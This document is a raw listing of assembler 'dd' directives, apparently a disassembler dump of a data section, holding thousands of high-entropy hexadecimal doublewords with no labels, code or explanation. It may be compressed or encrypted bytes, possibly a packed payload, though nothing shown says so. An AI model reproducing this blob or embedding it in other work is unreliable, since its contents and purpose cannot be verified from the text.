		dd 15F5415Fh, 0C855347Bh, 0A26EC227h, 7302CB7Fh, 287109A6h
		dd 851D3BC6h, 6BA67E66h, 0B481931Eh, 9F07E913h,	7D016F52h
		dd 0E9C6415Ch, 8122D714h, 814C4979h, 0CD2CD863h, 69208E04h
		dd 0C056B7DFh, 0F7501942h, 41AD5C98h, 893F5881h, 0B3C9153Dh
		dd 0FA290BC3h, 2EEDFD5Fh, 0ADA34B8Ah, 0D23ABF82h, 5E444026h
		dd 350A02F1h, 3C29653Bh, 4E1F861h, 0D605C9ADh, 0EE286863h
		dd 578FBDE3h, 7EA56840h, 597E3187h, 2043F104h, 20C01E50h
		dd 5E824BEDh, 0FB58EF57h, 47CACBAh, 0EFC176A5h,	58F98008h
		dd 67608B61h, 0C21C640Ch, 9619605h, 307EEADCh, 0C035C740h
		dd 0E2295D6Ah, 5829B573h, 0AFEF5578h, 5F1B722Fh, 0DF459243h
		dd 511062FDh, 0EE5FEB88h, 0D50113BBh, 67CC045Ah, 247ECABBh
		dd 5D65A555h, 34DA14FEh, 91CD8B9Dh, 5760AD1Ah, 5695A6E5h
		dd 0EFCB42D9h, 0D800650Ah, 9D027605h, 0C7892747h, 9DCE1C7Fh
		dd 82C4C8ECh, 0AE2134Fh, 3206AE40h, 80EC6A60h, 554C46F8h
		dd 12F703F4h, 0E0BD10E0h, 0DE041E15h, 5E02E084h, 8706E2C1h
		dd 8BB8DFAh, 9012C06Fh,	0DCB79AAFh, 879091Fh, 0F9F26E49h
		dd 0FE09F4B7h, 0EE015EB8h, 0BCCF9DBBh, 0CD647AE9h, 0C0C43C80h
		dd 790BE125h, 669F58B4h, 2EE91349h, 6899FF91h, 0B9E1B8ECh
		dd 0A54AA4C5h, 519A0259h, 4C2ACB15h, 1D10480Ah,	369759Ah
		dd 121B0057h, 356CCD02h, 560ECF01h, 0C68BBBB4h,	4C0CB45Bh
		dd 0EB73040h, 0BEE780D1h, 0D43BC767h, 938B075h,	2F3476B5h
		dd 78E4CDD3h, 0AD1781A8h, 2354AE2Dh, 17AB143Eh,	1DAF5AECh
		dd 8DFF27CFh, 0F93B9C5Bh, 8EBBE40Bh, 3DEF5A52h,	0DFBC7B33h
		dd 0F5600893h, 0C9FE5B07h, 840CDE83h, 7C5BB6BBh, 0E7D1472Fh
		dd 0E3D02525h, 0B7FC924Ch, 749044C2h, 50EA8036h, 0F23103AFh
		dd 42BA5E5Ah, 2AE86864h, 0F17EC4CCh, 20635926h,	9D4FC62Fh
		dd 279DCFEh, 6CA8EE14h,	2F7F05CDh, 159840C1h, 0E58F406Eh
		dd 0F7598E7Eh, 0D958D172h, 0C608280Ah, 7C02DA0Bh, 9A85C7Fh
		dd 0F7D43Ch, 0F74A2103h, 0B3E92F4Bh, 0E2805B01h, 0D4A53E7Ah
		dd 21CBBE41h, 0C1846457h, 5D2D3190h, 62AE2D20h,	7209D7Ch
		dd 144370BEh, 402A0011h, 9D70D40Dh, 0EE002D01h,	354DD26Fh
		dd 4AE750FBh, 48D6B8BDh, 4CE9A50Ah, 0A65BE94Ah,	0A2BE7B68h
		dd 96C12408h, 0BA03F1ACh, 7585107Fh, 4E87F600h,	94E977C3h
		dd 0F9A0952Bh, 2C30E6C7h, 9762789Fh, 4242E6DEh,	8896D9B5h
		dd 26BF02C2h, 888B47E4h, 0E3475FFCh, 0D3BA5012h, 40075B07h
		dd 4A886DF9h, 522FB5C2h, 33930B5Ah, 0ADC32111h,	0A7E56DF1h
		dd 9A14E134h, 82F2BC70h, 0A5F8F702h, 2822377h, 82ACFB80h
		dd 270F60CBh, 0D14182C7h, 34027FD6h, 60F5805Bh,	0E112C394h
		dd 5A212C60h, 0A842260Bh, 0BF9D3A22h, 52415DF1h, 5D6CE8E9h
		dd 1D8BC32Eh, 0F3CFBB8Eh, 31FC96BBh, 0B2D4CF13h, 0F1FD8A58h
		dd 620AED12h, 222D7382h, 0F71A85Eh, 8FCAA6C6h, 1DC2B0A0h
		dd 811F9C00h, 0E14944CEh, 11E1BD12h, 550475F5h,	0CAB2ABA0h
		dd 0F84B69B2h, 0FF6A84Fh, 0E9A1C096h, 0BDD60536h, 2E2C810h
		dd 19FC82E2h, 8023C831h, 34F28825h, 2376161Eh, 0DF1513C9h
		dd 47681038h, 0D4976470h, 7B8BC73Dh, 0D59A3875h, 2CABBD97h
		dd 9ED418D7h, 7D8D0774h, 91DD468h, 0AD22C57Dh, 0E1682590h
		dd 0CAFD594Fh, 0AD22FBA5h, 67EED89Ah, 0E7B3CA4Ah, 0D0216330h
		dd 79D8ABF1h, 20B1D236h, 9581C014h, 5E04D949h, 0A826893Eh
		dd 5B69255h, 31D535ECh,	9DEC7FA4h, 4D0B378Bh, 89895731h
		dd 5C4E4A78h, 88AD6D39h, 42C42B7Ah, 78C54C95h, 0E9E11D24h
		dd 0CA222F60h, 25A0E110h, 82797C4Eh, 0C26EC5A8h, 0C2F4F08Bh
		dd 98000CB5h, 0F2296560h, 5DEE6FE9h, 0DDEA42BDh, 5175DBCFh
		dd 2F90693Ah, 1848E8C1h, 4F0538DAh, 0D5A0CAAFh,	9AFD5B54h
		dd 0ED8D1017h, 0BF68C2C2h, 80EB513Fh, 39157FF1h, 150EB81h
		dd 0C102E353h, 0F7485255h, 0BE3560DBh, 5EF77AAh, 65E9CB31h
		dd 0BE98D4EEh, 0EB5A24A2h, 16F1FD61h, 4D829F7Fh, 0B7B7A6E1h
		dd 5758ED54h, 0EBE92455h, 9B93BAF5h, 0BF08578Ch, 74BC7C81h
		dd 689A0887h, 37D0CB56h
		dd 0C4DE634h, 56ED7F82h, 2C198220h, 43757B77h, 1AC9F178h
		dd 5AD6680h, 6C280F4Ch,	6E68CEAh, 88624D68h, 11668F02h
		dd 0A103E14Ch, 0D745882Fh, 3E260E12h, 12850201h, 413A720Ah
		dd 5561E040h, 0B2007E33h, 0E919F203h, 420B48F0h, 1C8481A4h
		dd 4AF33AC2h, 38204752h, 8016F769h, 0CAE7EDFBh,	0AC9D4BB3h
		dd 68A72F20h, 1842EA01h, 8E11FB43h, 0C30D6B3Fh,	4467E926h
		dd 7728FA2Fh, 0C94B4ECh, 0F4E65659h, 801A6138h,	0A8CF65BEh
		dd 0AA57E947h, 684277EBh, 5E5E7758h, 0F7804803h, 72EF987Ch
		dd 38F178B5h, 0B14E39C5h, 0D05BD40Eh, 0C225E9E8h, 6AAE5429h
		dd 8D1408AEh, 63072500h, 392D7CCEh, 50737E4Eh, 5BAE40h
		dd 0F774E610h, 2EAC1DAh, 8B2CE4C7h, 0D0AE35D5h,	51F8B8DFh
		dd 1E623B30h, 2465111Dh, 0A0D20120h, 4984B508h,	8E0413E2h
		dd 40BD4D30h, 2FE9B1D7h, 0B44257FAh, 0BFD38EE9h, 0EA044EBCh
		dd 5234825Bh, 0DDD19FE2h, 0D7390212h, 0B37960FCh, 0DF58F70Bh
		dd 79EB2C8Bh, 0C87AD959h, 8EAAC25Fh, 208CF702h,	8902C9E2h
		dd 4D692E66h, 2D05DEA7h, 2954D1AEh, 6BA5F1C8h, 201760Bh
		dd 0CAD9C0h, 5D800559h,	2D2E621Ch, 23B20B78h, 7C58801h
		dd 0CC11513Eh, 18D69068h, 93443CFEh, 660ECF9Ah,	965B6368h
		dd 9C070E21h, 0C7E69983h, 2E20DAA9h, 2368120Dh,	0A50F8C69h
		dd 0DC30309Ch, 58210D11h, 93062A13h, 0C70CA1Dh,	0EB10860Bh
		dd 0B4335063h, 3EC2827Ah, 0C4DD5B66h, 1B722596h, 0F2DD9412h
		dd 8A842E72h, 0A0D9C81Fh, 0CC5720A2h, 92255C76h, 9508C832h
		dd 10380F9h, 2EF45955h,	0E90D2CBAh, 0E6C8FA29h,	0B38454Bh
		dd 0C57D4F29h, 74680B85h, 5562BAF4h, 0ECE8D7BDh, 3F59B8E9h
		dd 0FB0B966Ah, 2DECC50Ah, 47004DF8h, 38053C74h,	0B8286639h
		dd 36461788h, 97F8092Dh, 0F4A0585Ah, 0CE2D221Bh, 6A18957h
		dd 5C7DBAEh, 434B2BEEh,	0DECDC207h, 584CE6C6h, 0DF3C12A5h
		dd 8CF628AEh, 0B999559Fh, 261CF7CAh, 0D2270AB7h, 0D25E9D9Dh
		dd 2E56E9E1h, 3FD18551h, 0A0130E26h, 0A4C8AAF8h, 0D72A1F93h
		dd 0C7FC5671h, 699656B5h, 110FC0A0h, 0D35F442Ch, 0A84D6602h
		dd 34047DAAh, 79BCBA5Bh, 0C4560DA4h, 0DC836EE7h, 0D058C956h
		dd 0FCBE1281h, 43717D07h, 63C1678Ch, 59E23B70h,	9B86E909h
		dd 87CAE7FDh, 970F868h,	95816E5Dh, 6C770242h, 998030EEh
		dd 0A10AC7CDh, 0C8825125h, 9701F8E1h, 0D6780519h, 8954FB57h
		dd 156822F1h, 632C2910h, 26007925h, 0E9065B4Bh,	1CBF501Bh
		dd 0C58311Dh, 25320716h, 0D3276AE7h, 0FF1288B4h, 0DDEB8C17h
		dd 4A023377h, 6709B0B8h, 58A178A4h, 68169263h, 24CC264Ch
		dd 545C89A7h, 88BB09FFh, 5C9D9A14h, 0D3117238h,	4A35BCA1h
		dd 0F41AC8EAh, 2712E6B5h, 6BE6E8ACh, 0A489FEBEh, 5C4ADFCFh
		dd 5E809780h, 0E9257A3Dh, 880540BFh, 0D4F627CCh, 16FA235Ah
		dd 4463FFFh, 0BB3D62Bh,	0FC39DEF6h, 67953758h, 42851394h
		dd 0F529582Ch, 4B57C442h, 923F11Eh, 0C3A22Ah, 5261B353h
		dd 2D80D5B6h, 0A97587C6h, 1FBDD6B5h, 856E620h, 16A7EF4Eh
		dd 685F1776h, 51CCA3D9h, 33757A02h, 5D05D0AAh, 0A04FEFE9h
		dd 0F0EE2C94h, 5AF85347h, 878509B5h, 0CDE24ABAh, 72055C45h
		dd 25075C91h, 98663DD4h, 2752DF80h, 27D548D9h, 773B8B01h
		dd 0DE3F65CFh, 55772CFEh, 358DA5A0h, 0E926F6B0h, 0D6A5ECB6h
		dd 57298C68h, 0C745EB90h, 4A6B5E35h, 0D83C5E5Eh, 13945BE9h
		dd 0C4515E2Dh, 0D23D9622h, 682D0161h, 127339EEh, 0E615C744h
		dd 5A6B2E4Ch, 43B480A7h, 8ABE6C18h, 0B0B2B313h,	383CD3A8h
		dd 0CE294989h, 31416574h, 452F50C8h, 0B82A9BEAh, 0DD21C5D5h
		dd 0B551D740h, 0E6E1B630h, 5E5977EEh, 0D033E07Ah, 38C0E55Ch
		dd 0C41A6EABh, 2B8369F6h, 1692E724h, 0B354166h,	67D6BC3Bh
		dd 0DD890408h, 0EDA9654Bh, 740AAF86h, 0CEA9D03Ah, 0C64935BCh
		dd 2CE9902h, 3DD2357h, 0C8A5FE77h, 61E9090Ch, 0DB312861h
		dd 53F526BAh, 0C90A7BCh, 1FC0D2EDh, 8B4207F7h, 5E2CF62Dh
		dd 865F261Ah, 224FF204h, 7840936h, 8040ED1Dh, 0AAE9C9D4h
		dd 256BA09Bh, 0C718254Ah, 1FAB1FFh, 2490E901h, 0EA4B8087h
		dd 4A10D6F7h, 0CC4E3822h, 4DEA0406h, 6842874Ch,	0B4F54BB5h
		dd 0D35C24D6h, 0B33A949Ah, 6473ED80h, 44DE1463h, 2C08C514h
		dd 8D0A465Eh, 11B47E7h,	0F640D907h, 0C23DA93Fh,	0A1334468h
		dd 531ABD40h, 7F2BC5h, 6459A174h, 6304BA34h, 313DF72Fh
		dd 0B110C8BEh, 0FE959F9Ah, 7BACC2DBh, 9C6A677Fh, 12EE055h
		dd 0E34A2F9h, 0C1A2F9AFh, 2D336165h, 18A60C82h,	0DC555DDFh
		dd 8AF300B6h, 0E91FC22Ch, 4FDBC031h, 0B37B59CBh, 7E5D7E7Fh
		dd 0A2F05F14h, 0E54EC046h, 1D2A763Fh, 21242B0h,	39BCA237h
		dd 7F520601h, 0D4BB5333h, 0B514CF90h, 13F0DD31h, 38EB0901h
		dd 1C0025CAh, 5159872h,	3AF7C1E4h, 0B64A89FAh, 98AE16B8h
		dd 8A3FE8D0h, 31671F23h, 0B4B7FF7h, 9B5068E1h, 15A8525Bh
		dd 0C5FFACD7h, 2DEF60B1h, 6FFA6139h, 0B2EA5F13h, 0F0E9C595h
		dd 0AD2A93B1h, 0D051390Bh, 1F6535BFh, 0C5FE0B25h, 9C62AB7Bh
		dd 7C8B7F3Bh, 9C0A4C75h, 31557A2Ch, 9E2CFD8Ch, 0EF27E258h
		dd 228F6177h, 0A27A2875h, 0FD59C5E6h, 944331B4h, 115F2DA9h
		dd 82F05CF2h, 937C9FE1h, 0DCE4B8E8h, 750618AFh,	0D30E6857h
		dd 0ED498070h, 0AC7A1431h, 0E0F3130Bh, 72242428h, 4AA47F96h
		dd 0BEA8C451h, 949821D0h, 0F18C4EFBh, 2BDDEDA8h, 0B3F8DC8h
		dd 290D68BCh, 263C85D3h, 6502EDC2h, 400A0F63h, 24372802h
		dd 12CB594Dh, 606FF734h, 9249602Eh, 0E1810B7Eh,	80DF37A9h
		dd 521BC97Ah, 15809D15h, 1113F73h, 0D3D1F72Dh, 0C9331DC9h
		dd 58DFA6FBh, 0FE6D2BD4h, 8A680473h, 0CB70AA78h, 164C9BFh
		dd 0E7817322h, 0EEB81539h, 5B2EA460h, 1D8905Ch,	372B64CFh
		dd 0EFF44F5Ch, 9540170Eh, 0D550E25h, 568EFE16h,	4FDDA310h
		dd 7FFD75F0h, 27FC935Bh, 9B4285F6h, 63020B27h, 0C659B3BEh
		dd 1DA797BFh, 174C7CCCh, 0B76CF27h, 445F8846h, 24DE9F89h
		dd 5A2FE950h, 139BA303h, 46AD9D4Fh, 0B5782F7Fh,	7E5E76E8h
		dd 5A612212h, 9B4864F8h, 0ADD5E90Bh, 0B304D6A3h, 4B2CD787h
		dd 5DA07CD0h, 0A2BA13F9h, 80B8B113h, 5FE071Ch, 59CC3038h
		dd 1BF08016h, 0D28C03Ah, 29D34D54h, 0BCC9FA97h,	1EB205AAh
		dd 0C2BF0143h, 0E2363A0Fh, 2D046178h, 0FA42144Bh, 68CD02FEh
		dd 0E5F430F3h, 2A3F760h, 20296971h, 0C6D78F09h,	33E10843h
		dd 7A07061h, 5B10E93Ch,	0F71628B3h, 2338BEF1h, 0C5BD3A55h
		dd 96D0683Bh, 27210418h, 0D5E8E972h, 6D4381EAh,	5F22F0Dh
		dd 48CAB6D2h, 17E9852Fh, 38499EF0h, 3E0FC181h, 1984C7D8h
		dd 7E94D383h, 0CB83F8D5h, 87F2541Fh, 0F702A1EBh, 0AB66B5ECh
		dd 0FD57F50Bh, 1E2AA967h, 6E186409h, 0B0F2D50Bh, 9610B1F9h
		dd 0DA6B5AD7h, 6BC4FA2h, 1686BA80h, 78DD551Eh, 2374E4A7h
		dd 0E9095F54h, 801E2136h, 0BB3ADCC3h, 1072DF1Dh, 404E92F6h
		dd 9C02B2FAh, 88524106h, 0C047EC6h, 81002C72h, 0FC05E3CAh
		dd 0F2015576h, 47C1377Ah, 906F52E9h, 28A4B24Fh,	8F4DD07Ah
		dd 7D5D2777h, 0E9132734h, 88ABC525h, 264BDE1Eh,	0B1C5E5E8h
		dd 0CFF7BFBBh, 1693B272h, 65F83159h, 997AF418h,	7745B640h
		dd 67529587h, 0E027FB1Ch, 4DD641AFh, 300133FCh,	791E52D9h
		dd 24E7730h, 2FD57AAh
		dd 502F18EBh, 33C69AC0h, 3D714F02h, 0D78AE946h,	0A0922F71h
		dd 0A8BB1C84h, 5EE9F589h, 0C4DEFAD7h, 568501Fh,	9875A819h
		dd 59B8353Ch, 25613700h, 5D880D73h, 0FBCF0905h,	0B956EB77h
		dd 1F675430h, 0EF2D4B38h, 8063684h, 0E4AA30E9h,	0F118CE47h
		dd 7AFA0F8Ch, 925A8B40h, 0C22BE519h, 0A0F5AE59h, 40D8C97Dh
		dd 9D254931h, 1F085D06h, 0AC090C79h, 54C8EF8Bh,	29566936h
		dd 5CC2915Ah, 0BF4A5068h, 9B97D11Fh, 0EDE799EEh, 1D672C0Eh
		dd 1BA5BC68h, 3238C821h, 0BA526B13h, 8F84CACAh,	0AE07D4F1h
		dd 9D6568C0h, 26CE6473h, 0F7BC131Bh, 27FDD82Ch,	0FAADEE5Fh
		dd 0C180BFC1h, 0D82A52BEh, 19E4605Eh, 6922B77Ch, 96DC59CAh
		dd 6125602Ch, 0DB285BCBh, 8E421C9h, 40F31122h, 0E3418DC5h
		dd 0E5C1A281h, 0A76B584Ah, 2D1E4057h, 2E3438CFh, 5D02878h
		dd 4F298007h, 92959922h, 25560F51h, 0EF07C044h,	81069618h
		dd 0E58802EEh, 28E9F634h, 7E359D48h, 0FC72031Eh, 15240BA6h
		dd 0D29DCE8Bh, 0A8EE2708h, 0D801F80Eh, 7D1721E9h, 29ECD30Dh
		dd 41673904h, 0E852FE25h, 7B8A880h, 0EA99A07Ch,	6775C318h
		dd 0EABCD533h, 0C1308293h, 0AEF47356h, 98AD723Fh, 2B5A0BF6h
		dd 0C8AE745Dh, 3499BE73h, 5C23443Ah, 9BB12B4h, 18DD317Bh
		dd 8A7C5093h, 867C80F7h, 0B76D6F76h, 6884D6D9h,	64AA11B3h
		dd 76EDC756h, 0E24E598Fh, 12F376EFh, 635E9304h,	87EC4750h
		dd 7DB1C910h, 0A14B3E09h, 6DAB0012h, 764EAA5Fh,	1119C83h
		dd 0C3F6EBD6h, 2DBA2A01h, 19C43F5Ah, 74BBDEFh, 6C34D0F6h
		dd 0E5807FB9h, 53602C69h, 21C38824h, 738E5F3Fh,	4C8B2A11h
		dd 7EAA04EFh, 0EDEF066Dh, 0C8FC3C55h, 0E901136Eh, 3DEFAD65h
		dd 22EA2EE7h, 0D85F2B15h, 0EA2C4A81h, 7D16638Bh, 2597BBCBh
		dd 6B0BF619h, 4509AC26h, 0F297F783h, 0EDC03D42h, 0FD302761h
		dd 4D930C6Bh, 572F04E8h, 0E90A80E9h, 649B030Dh,	0E1412CD6h
		dd 0DB7E28FEh, 0F8E91643h, 7268E243h, 0EDAF843Ah, 84E8A407h
		dd 1D9AF4A4h, 34209D41h, 62EF4A36h, 10779613h, 97377D68h
		dd 0AB8BA771h, 8BFEF131h, 2FAF7E8Ch, 0BF6665EBh, 74DD20Eh
		dd 0E6503009h, 0AD74179Fh, 2E40F18Dh, 0FB600AF1h, 0F89FAA83h
		dd 0AED74F77h, 0DC53A9DCh, 290D8A40h, 0CBC60FF9h, 0BA6CEFE4h
		dd 955963E4h, 0ECFC2C4Eh, 3013729Ch, 0FCE0314Bh, 7605292h
		dd 1CA42152h, 0B5C78920h, 0D46936DCh, 0EA0CB451h, 16FB5D53h
		dd 8037EB8Bh, 0DF0ADD92h, 0E9E11365h, 80042F68h, 9C44D83Dh
		dd 214B2A2Ch, 0DB900413h, 27A4453Bh, 72F90188h,	40E9C46Fh
		dd 16BFA6FBh, 0EAEC0335h, 498BFED6h, 7F2D210h, 0ADB15150h
		dd 5DD57092h, 8441227Bh, 6800DF87h, 0A8BE4BE4h,	0E338B4C0h
		dd 0CD810260h, 15C30E8Ch, 3C0CDE80h, 9481CA2h, 0A0DA50A2h
		dd 7DE33E13h, 0A5CAF0BBh, 0A6AFB1D3h, 3EB45F51h, 55E9165Bh
		dd 0D535F47Dh, 5C97532Eh, 0E543DD13h, 0C50786BBh, 9AE3D2C0h
		dd 2C213C37h, 530FA216h, 5606A0A5h, 324022F4h, 0B2C20481h
		dd 0AC1C5F0Ch, 8EA2863h, 0CBF65EB7h, 0C55E14FFh, 221CBA0Ch
		dd 37E16A7h, 2F72C52Dh,	0C13AC21h, 0EE78CAB0h, 0F98A6BE1h
		dd 16C99740h, 697753h, 3B714AF6h, 502DE942h, 6E2FD7A2h
		dd 0D0C19E04h, 6F7BEFD3h, 4027E5Eh, 0E0163305h,	2722146Dh
		dd 26546E10h, 70007DA5h, 0C217B38Dh, 0A6C315Ch,	775FFE29h
		dd 61091926h, 29C65DCEh, 71D1172Fh, 0C955491Fh,	0FC7E5799h
		dd 85D9E1FCh, 0D9E473Ch, 0C010FB94h, 284859EBh,	85722DFAh
		dd 0DFABACC1h, 0F6BA2AB0h, 0B3F12131h, 0B36A555Eh, 5D2C8973h
		dd 0E0BD2836h, 82F02927h, 0A478D1DDh, 0B10D134Bh, 4BDF2AA7h
		dd 0C7A7E916h, 7C0552A9h, 27057BD5h, 0BB5F5D8h,	7AE1F4E4h
		dd 0A2706C7Fh, 1A975A4h, 0E92EA1F5h, 0AC6FDC4Ch, 0BC7B84FAh
		dd 1455905h, 324F8392h,	52507103h, 40565BEAh, 0FD522Dh
		dd 5F59C831h, 6B685052h, 292C4D13h, 0A5F9E693h,	0BDC460FCh
		dd 0C4490F35h, 39EF93CFh, 0C44378F5h, 0B2C25556h, 3D510917h
		dd 9FFBF0AFh, 0D9CB8079h, 0C373DA6Bh, 0E96B7E18h, 1A86BDCDh
		dd 89F2F5Dh, 0CA10EF51h, 0A426809h, 0F5670FDEh,	0B35D9889h
		dd 8852175Ch, 16360BDAh, 8EDAAC32h, 0B83AC8B5h,	244558EAh
		dd 0BA1A050Ah, 0B5272AFEh, 33413632h, 0BA6D649Ah, 9F02B914h
		dd 425B2FE4h, 87EE7DE7h, 39203D9Ah, 0E0890596h,	0BE050C68h
		dd 0A292431h, 7840CB2Bh, 625EF725h, 0D1BC001Fh,	0F67C946Fh
		dd 8925F1D5h, 4E42C82Eh, 11B14B96h, 0BB00B0E2h,	6801713Fh
		dd 1FCB810Ah, 5160ED74h, 0F717BA55h, 9974DAAFh,	4056299Ah
		dd 808D5917h, 0C541F68h, 5F35DC9h, 0A56816FBh, 2782C438h
		dd 454169AAh, 1336727Ah, 9CBF7D0Eh, 9AA250A5h, 53F1A0AAh
		dd 99B2444Ah, 3131E986h, 6CD8302Ch, 0A6FB0D12h,	31AED386h
		dd 6F86671Ah, 0C220BD91h, 90E2E093h, 75FBEDFEh,	0A83CD52Fh
		dd 5E050821h, 0D986DD87h, 0E5C13008h, 5B76ED96h, 0F037F22Ch
		dd 0A27BDE03h, 67883D74h, 8732AE97h, 8F893995h,	9A50B93h
		dd 314407FEh, 4E79D820h, 58B9A9BAh, 910129CEh, 5A07E80Bh
		dd 0C6DE208Eh, 5D6966C1h, 0C822F9Dh, 6F3639B1h,	66749400h
		dd 496A9521h, 20C080Dh,	1F605214h, 2C2473F1h, 0D0002C44h
		dd 0E9762054h, 4A32BF3Dh, 0F395F7F8h, 0ABD80BE3h, 4F959E7Fh
		dd 0AD44EA9Dh, 0F6BA7A27h, 23BE4F6Fh, 0FD175A93h, 4004C23Bh
		dd 69459D6Bh, 6431AF30h, 90261715h, 65160126h, 0CC0D5373h
		dd 21155EE9h, 170CFFC8h, 90BF20E9h, 33155BC7h, 8AC8764Eh
		dd 0BB2813B6h, 0A90BAE0Dh, 0B52BDF05h, 398CBA06h, 6026EA01h
		dd 28B682Dh, 581FF66Bh,	0B0FC20BBh, 28A40764h, 0C54F74E1h
		dd 0E9153DFh, 4BF00840h, 0EF1889ECh, 28120652h,	8F4EF87Fh
		dd 85EA9612h, 386BDDA5h, 714ED8AFh, 0DD44BF8Eh,	57D41EA2h
		dd 9BFD9233h, 248ED15Ah, 51708A7Ah, 66335Ch, 0A023E4BAh
		dd 4EAAE931h, 2727AEECh, 5202B324h, 0E6577668h,	9481607Eh
		dd 7AD35CDh, 0F2593195h, 0BE520C43h, 5CAF1DB6h,	2D58CAF3h
		dd 0D46C2706h, 4FCDB55h, 0F6D6EE19h, 0ABE24E1Ah, 0C7726471h
		dd 176C9BA6h, 5062FFB1h, 4290772Dh, 1EC0D7B2h, 7742F5B8h
		dd 0E8D1193Ch, 705A8E50h, 0AB411DC3h, 0E7C1E0h,	77F78103h
		dd 89E42C22h, 50BAF95Ah, 0BA4AD501h, 2D682728h,	4F9A01CDh
		dd 481C68DFh, 0B81170B1h, 0B597E8D8h, 0F28DA05Bh, 822BC983h
		dd 0ED200DE2h, 4EC803ECh, 7E45F1A5h, 45363680h,	15409F23h
		dd 2976FC0Ah, 1713F51Fh, 3E021212h, 0F5A07EAFh,	606C29C0h
		dd 20B85BF8h, 7CA91960h, 9D4CDB08h, 6DA033E2h, 0AD46D4E3h
		dd 2D963A4Ch, 55F21A21h, 0D68E6A1h, 0D76D6873h,	52C0C0A8h
		dd 1111538h, 42E5EB78h,	1E5D5D08h, 0FF16AA01h, 7752D0A2h
		dd 2FBE07C5h, 5F5E42Bh,	1008015Ah, 0CF2DC0D1h, 50B703D0h
		dd 0E1F704B8h, 0BF2FF130h, 0EA122486h, 7210F48Ch, 59BB92E9h
		dd 5047756h, 9413C802h,	5E07008Ah, 367FF9BAh, 9CE93C16h
		dd 74F862EFh, 0B7D844Ah, 0C2A9FCFFh, 810198EDh,	9B7056CAh
		dd 5F01B74Ch, 3FD74162h, 0E4258880h, 0E8424E1Bh, 0BCC0315h
		dd 50683726h, 0F7720569h, 73E64981h, 204E386Ah,	0D4913709h
		dd 223F5C02h, 2888DC5Ah, 19410903h, 28D72D1Bh, 5F170860h
		dd 2A6BC6F3h, 0B1429077h, 0A3E5B796h, 7480E312h, 950BF59h
		dd 317DB75Fh, 27CBFAF4h
		dd 0C3C55E47h, 75C8D1EFh, 51AC0176h, 87B4252Fh,	0F037E5D3h
		dd 0B701537Eh, 0AEC7800Ch, 896EDFF6h, 59F13BE6h, 12DCF72Ah
		dd 4AA31881h, 65BEB31Bh, 3658FCF2h, 665F5D7Ch, 0AC02D04Fh
		dd 625A8B30h, 4DFEF25Fh, 0A8FDB089h, 0F62708FFh, 0ABC15A99h
		dd 2B05CF45h, 56C6D10Ah, 0AB4B95AFh, 46D8ECF2h,	0E4AD568h
		dd 1F9A368Ch, 49305BACh, 221B4E25h, 0B901C49Ch,	9FFF4BBBh
		dd 0F3D84EC1h, 249B4E72h, 30CAEA14h, 0C5EE811Dh, 0AF4A2817h
		dd 80487B1h, 0D327E8BFh, 409893C8h, 0CE098175h,	84AF7215h
		dd 0A1FB2900h, 61BE3ED6h, 7EC668ACh, 6DC235FCh,	0F4E0C534h
		dd 37C09578h, 83685AD3h, 2FBBC430h, 0C1031E91h,	90B35358h
		dd 0CE6BEB80h, 0C3C57406h, 5F0BBB5h, 12517724h,	0ABD6E9FBh
		dd 47F00152h, 715209EEh, 88D67922h, 0F19008A0h,	7342899Dh
		dd 9599707h, 4F4655BAh,	0F49D3925h, 0E17FEB8Fh,	272AE368h
		dd 390C5757h, 607B71DDh, 179B2098h, 905E509Dh, 1FC20A37h
		dd 2EBEF983h, 42E96162h, 5C8D2E28h, 6077496Fh, 0D7D6F5ABh
		dd 6D081BC8h, 8C461D27h, 0E199D1E8h, 29559FAh, 77D4885Bh
		dd 897214D1h, 12345A1Ah, 0A3AF14E9h, 3CB130Ah, 1F20CF29h
		dd 22BFE72h, 0C1D6F742h, 0DA7404EEh, 0BB2D6C03h, 7C0C0009h
		dd 0E964CF3Fh, 56C0C3D1h, 0DF05E4BFh, 83CBC49h,	0E025EC6Ch
		dd 933463B0h, 1CF90097h, 0E5E92EDFh, 4FB6085Bh,	0FAD72812h
		dd 0F24BB8CBh, 5BD8C5CBh, 9D6167A4h, 3C52EA61h,	0E95081E5h
		dd 6261126h, 101EC218h,	2B008ABBh, 0F3811B94h, 9E75AF4h
		dd 3BE9432Ah, 52B9C87Dh, 2B01362Eh, 14C004D8h, 601DA90Fh
		dd 0B8A55EE9h, 0B4FAD220h, 0F0B2EB70h, 0EC4139BDh, 529571DAh
		dd 972A4CFFh, 7D5F54Ah,	4B37879Dh, 314A1B2h, 0BCB9F131h
		dd 7524A5D3h, 73A435E8h, 5FFE6FBAh, 575688A8h, 4C6A6804h
		dd 3DC07D84h, 41EB0CFh,	5BE971AAh, 4FDFA2EAh, 4968F5D1h
		dd 9553FACh, 0F92EEEC3h, 2EA5AB8h, 2DB699B5h, 7E66E53Fh
		dd 678E2BB0h, 75E2BDA4h, 0B676905Ch, 0B22C5215h, 81130940h
		dd 986B80FAh, 14C0D2F6h, 0E9D088ECh, 71B269B0h,	64F0A05Fh
		dd 2275C3Fh, 5D31DD2Dh,	0EA8B5671h, 89D66B29h, 18B79B89h
		dd 0B2D68EBh, 5F7EF9B6h, 58F0670Ah, 365AE953h, 0F74225C2h
		dd 0C93D0B40h, 80D13F2Fh, 1C6534B6h, 0BB69063h,	45CD0599h
		dd 91033C87h, 0DC40D3E7h, 5F954F75h, 63BDDAA1h,	0E93FFD0Dh
		dd 34DB2979h, 44BBC6D9h, 0B9535B71h, 6FCC82C7h,	0F270E04Eh
		dd 45181868h, 50299041h, 9B3D562Eh, 0C74DC919h,	78A190F7h
		dd 5871275Ah, 0B212187Fh, 0F679BF76h, 6AC9E9E2h, 429ECADEh
		dd 350C683Eh, 8A97132Dh, 0B071623h, 6D8601C6h, 60F925F6h
		dd 6A13B91Dh, 21FB3D55h, 4703BBE9h, 0BEE9B19Eh,	0BFBF54D5h
		dd 286AC8F1h, 7395DEE5h, 0FADC27B6h, 20175C2h, 0DA7DF329h
		dd 31451CD7h, 8E4BCCDh,	2B84F451h, 0BF058097h, 4A895D7Dh
		dd 7DE91853h, 0FD5F0EE9h, 0E31924AFh, 72AB10D4h, 50575B07h
		dd 0AC5C7968h, 0E05AF23Eh, 0CC518CCCh, 5B8DAFDCh, 795F4FECh
		dd 30279A4Bh, 5385992h,	8BE90C4Bh, 1704A2F4h, 0AECC5B3Ch
		dd 0A61B39CCh, 81D3F714h, 0A7202500h, 3FEA8107h, 416F1E12h
		dd 0C21640BFh, 3F66954h, 8C22E924h, 0C010FFAFh,	0F780DE5Ah
		dd 774897D9h, 0FA2F4194h, 0F02EDC0Bh, 7E4AD0E9h, 36D17C90h
